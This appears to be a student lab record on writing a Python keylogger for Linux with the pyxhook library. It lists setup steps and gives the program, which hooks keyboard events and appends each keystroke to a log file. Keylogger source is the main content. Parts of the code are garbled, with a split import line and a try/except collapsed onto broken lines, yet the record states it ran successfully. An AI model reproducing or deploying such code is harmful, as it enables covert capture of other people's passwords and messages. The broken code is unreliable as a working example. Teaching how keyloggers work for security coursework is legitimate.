

EXP NO:7

DATE: 09/03/24

KEYLOGGERS

Aim: To write a python program to implement keylogger to record keystrokes in Linux.

Algorithm:

- Step 1: Check if python-xlib is installed. If not, type the command: `dnf install python-xlib -y`.
- Step 2: Run the pyxhook file using the command: `python pyxhook.py`.
- Step 3: Create a file named `key.py`.
- Step 4: Run `key.py` to record all keystrokes.
- Step 5: Open the `file.log` file to view all the recorded keystrokes.

Program:

```
import os

import

pyxhook

log_file = os.environ.get('pylogger_file', os.path.expanduser('~/.Desktop/file.log'))

cancel_key = ord(os.environ.get('pylogger_cancel', '~')[0])

if os.environ.get('pylogger_clean', None) is not None:
    try:
        os.remove(log_file)
    except EnvironmentError:
        pass
```

```

def OnKeyPress(event):
    with open(log_file, 'a') as f:
        f.write('{}\n'.format(event.Key))

new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
new_hook.HookKeyboard()

try:
    new_hook.start() except KeyboardInterrupt: pass
except Exception as ex: msg = 'Error while
catching      events:\n{}'.format(ex)      with
open(log_file, 'a') as f:
    f.write('\n{}'.format(msg))

```

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Result:

Thus the python program to implement keylogger to record keystrokes in Linux is implemented successfully.